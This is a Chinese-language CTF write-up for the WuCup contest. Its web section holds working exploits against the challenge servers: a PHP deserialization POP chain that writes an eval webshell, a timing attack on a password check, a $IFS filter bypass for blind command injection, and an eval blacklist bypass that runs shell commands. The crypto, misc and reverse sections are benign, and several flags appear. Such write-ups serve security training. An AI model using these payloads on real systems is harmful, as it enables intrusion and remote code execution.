WuCup 第一届“吾杯”网络安全技能大赛 WriteUp
ve1kcon 发表于 北京 CTF 856浏览 · 2024-12-03 09:34

WEB

ezPHP

用 dirserch 可以扫出 flag.php

通过php的漏洞读取flag.php

GET /flag.php HTTP/1.1
Host: challenge.wucup.cn:35934

GET / HTTP/1.1

得到源码

<?php
error_reporting(0);

class a{
    public $OAO;
    public $QAQ;
    public $OVO;
    public function __toString(){
        if(!preg_match('/hello/', OVO)){
            if ($this->OVO === "hello") {
                return $this->OAO->QAQ;
            }   
        }
    }
    public function __invoke(){
        return $this->OVO;
    }
}

class b{
    public $pap;
    public $vqv;
    public function __get($key){
        $functioin = $this->pap;
        return $functioin();
    }
    public function __toString(){
        return $this->vqv;
    }
}
class c{
    public $OOO;
    public function __invoke(){
        @$_ = $this->OOO;
        $___ = $_GET;
        var_dump($___);
        if (isset($___['h_in.t'])) {
            unset($___['h_in.t']);
        }
        var_dump($___);
        echo @call_user_func($_, ...$___); 
    }
}
class d{
    public $UUU;
    public $uuu;
    public function __wakeup(){
        echo $this->UUU;
    }
    public function __destruct(){
        $this->UUU;
}
}
if(isset($_GET['h_in.t'])){
    unserialize($_GET['h_in.t']);
}
?>

构造pop链写文件

<?php
// error_reporting(0);

class a{
    public $OAO;
    public $QAQ;
    public $OVO='hello';
    public function __toString(){
        if(!preg_match('/hello/', OVO)){
            if ($this->OVO === "hello") {
                return $this->OAO->QAQ;
            }   
        }
    }
    public function __invoke(){
        return $this->OVO;
    }
}

class b{
    public $pap;
    public $vqv;
    public function __get($key){
        $functioin = $this->pap;
        return $functioin();
    }
    public function __toString(){
        return $this->vqv;
    }
}
class c{
    public $OOO="file_put_contents";
    public function __invoke(){
        @$_ = $this->OOO;
        $___ = $_GET;
        var_dump($___);
        if (isset($___['h_in.t'])) {
            unset($___['h_in.t']);
        }
        var_dump($___);
        echo @call_user_func($_, ...$___); 
    }
}
class d{
    public $UUU;
    public $uuu;
    public function __wakeup(){
        echo $this->UUU;
    }
    public function __destruct(){
        $this->UUU;
}
}
$a = new d();
$a->UUU = new a();
$a->UUU->OAO = new b();
$a->UUU->OAO->pap = new c();
echo serialize($a);

?>

发送过去即可写文件,通过写文件将webshell写到123.php

http://challenge.wucup.cn:35934/flag.php?h[in.t=O:1:"d":2:{s:3:"UUU";O:1:"a":3:{s:3:"OAO";O:1:"b":2:{s:3:"pap";O:1:"c":1:{s:3:"OOO";s:17:"file_put_contents";}s:3:"vqv";N;}s:3:"QAQ";N;s:3:"OVO";s:5:"hello";}s:3:"uuu";N;}&0=123.php&1=%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E

蚁剑连接在根目录得到flag

TimeCage

第一步:

<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_GET['input'])){
    $guess = $_GET['input'];
    $target = random_int(114 , 114 + date('s') * 100000);
    if(intval($guess) === intval($target)){
        echo "The next challenge in ".$key1;
    }
    else{
        echo "Guess harder.";
    }
}

date('s') 为 0 的时候只会有 114 这个数字,在 第0秒的时候发送即可得到下一个入口

import requests

url = 'http://challenge.wucup.cn:29620/?input=114'

r = requests.get(url).text

print(r)

得到 Trapping2147483647.php

第二步:

<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_POST['pass'])){
    $pass = $_POST['pass'];
    if(strlen($pass) != strlen($password)){
        die("Wrong Length!");
    }
    $isMatch = true;
    for($i = 0;$i < strlen($password); $i++){
        if($pass[$i] != $password[$i]){
            $isMatch = false;
            break;
        }
        sleep(1);
    }
    if($isMatch){
        echo "The final challenge in ".$key2;
    }
    else{
        echo "Wrong Pass!";
    }
}
//Only digital characters in the password.

根据代码可以知道,只要正确了就会延时1s,根据时间判断密码是否正确

得到密码为 56983215 ,下一关入口为 EscapeEsc@p3Escape.php

第三步:

<?php
if(isset($_POST['cmd'])){
    $cmd = $_POST['cmd'];
    $pattern = '/[\{\}\[\]\(\)&<>`\s\\\\]/';
    if(preg_match($pattern,$cmd)){
        die("Invalid Input!");
    }
    shell_exec($cmd);
}
else{
    show_source(__FILE__);
}
//flag is in /flag

无回显RCE,用 $IFS$9 绕过空格过滤,将flag复制到index.php。访问index.php得到flag

cmd=cp$IFS$9/flag$IFS$9index.php

Sign

蚁剑连接,在根目录得到flag

HelloHacker

源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
include_once 'check.php';
include_once 'ban.php';

$incompetent = $_POST['incompetent'];
$WuCup = $_POST['WuCup'];

if ($incompetent !== 'HelloHacker') {
    die('Come invade!');
}

$required_chars = ['p', 'e', 'v', 'a', 'n', 'x', 'r', 'o', 'z'];
$is_valid = true;

if (!checkRequiredChars($WuCup, $required_chars)) {
    $is_valid = false;
}

if ($is_valid) {

    $prohibited_file = 'prohibited.txt';
    if (file_exists($prohibited_file)) {
        $file = fopen($prohibited_file, 'r');

while ($line = fgets($file)) {
    $line = rtrim($line, "\r\n");  
    if ($line === '' && strpos($WuCup, ' ') === false) {

        continue;
    }
    if (stripos($WuCup, $line) !== false) {
        fclose($file);  
        die('this road is blocked');
    }
}


        fclose($file);  
    }

    eval($WuCup);
} else {
    die('NO!NO!NO!');
}

?>

访问 prohibited.txt 可以得到黑名单

写脚本对比一下,发现有一种字符组合不在名单里

import itertools

a = open('a.txt','r').read()

dic = ['p', 'e', 'v', 'a', 'n', 'x', 'r', 'o', 'z']

datas = itertools.permutations(dic)

for data in datas:
    tmp = "".join(data)
    if tmp not in a:
        print(tmp)
        break

# oxzverapn

重写一句话木马绕过黑名单,最终得到flag

POST: incompetent=HelloHacker&WuCup=oxzverapn;eval($_POST[1]);&1=system("cat /f*");

Crypto

Easy

源码

get buf unsign s[256]

get buf t[256]

we have key:hello world

we have flag:????????????????????????????????

for i:0 to 256

set s[i]:i

for i:0 to 256
    set t[i]:key[(i)mod(key.lenth)]

for i:0 to 256
    set j:(j+s[i]+t[i])mod(256)
        swap:s[i],s[j]

for m:0 to 37
    set i:(i + 1)mod(256)
    set j:(j + S[i])mod(256)
    swap:s[i],s[j]
    set x:(s[i] + (s[j]mod(256))mod(256))
    set flag[m]:flag[m]^s[x]

fprint flagx to file

RC4,赛博厨子解出flag

Misc

Sign

hex解码得到flag

57754375707B64663335376434372D333163622D343261382D616130632D3634333036333464646634617D

WuCup{df357d47-31cb-42a8-aa0c-6430634ddf4a}

原神启动!

Stegsolve 查看图片,得到解压密码

WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a}

将docx改成zip解压,找到图片和压缩包,图片上的内容是解压密码

WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}

查看docx,删除图片,显示隐藏字体,修改字体颜色为黑色得到最后一个压缩包的密码

解压压缩包得到flag

旋转木马

两个文件拼起来,解53次base64,最后再解hex得到flag

import base64

flag1 = open('flag1','rb').read()
flag2 = open('flag2','rb').read()

flag = flag1 + flag2

for i in range(53):
    flag = base64.b64decode(flag)

print(flag)
print(bytes.fromhex(flag.decode()))
# b'WuCup{1eb900c0-a786-42fa-942c-f9a7c21dfedf}'

Re

If you know

先upx脱壳

可以看到是根据下标的奇偶决定走向那个函数

做逆运算即可求出flag

#include<iostream>
using namespace std;

void fcn000001(int *a1, int a2, unsigned __int64 a3)
{
    int i;
    for ( i = 0; ; ++i )
    {
        if ( i >= a3 )
            break;
        a1[i] = (a1[i] - i - a2) ^ i;
    }
}
void fcn000002(int *a1, int a2, int a3)
{
    int i;
    for ( i = a3; i > 0; --i )
    {
        a1[i] = (a1[i] - i - a2 ) ^ i ;
    }
}

int main(){
    int enc[28] = {245, 512, 520, 495, 565, 628, 570, 630, 695, 774, 690, 787, 738, 815, 881, 1088, 824, 1001, 994, 950, 1031, 1086, 954, 1012, 1045, 1139, 1242, 0};
    int v8 = 27;
    for(int j = v8-1;j >= 0;j--){
        if ( (j & 1) != 0 ){
            fcn000002(enc, j + 2, v8);
        }
        else{
            fcn000001(enc, j + 1, v8);
        }

    }
    cout << "WuCup{";
    for(int i=0;i<27;i++){
        cout << (char)enc[i];
    }
    cout << "}";

} 
// WuCup{1_10v3_y0u_d34r_1f_y0u_kn0w}
1 条评论
某人
表情
可输入 255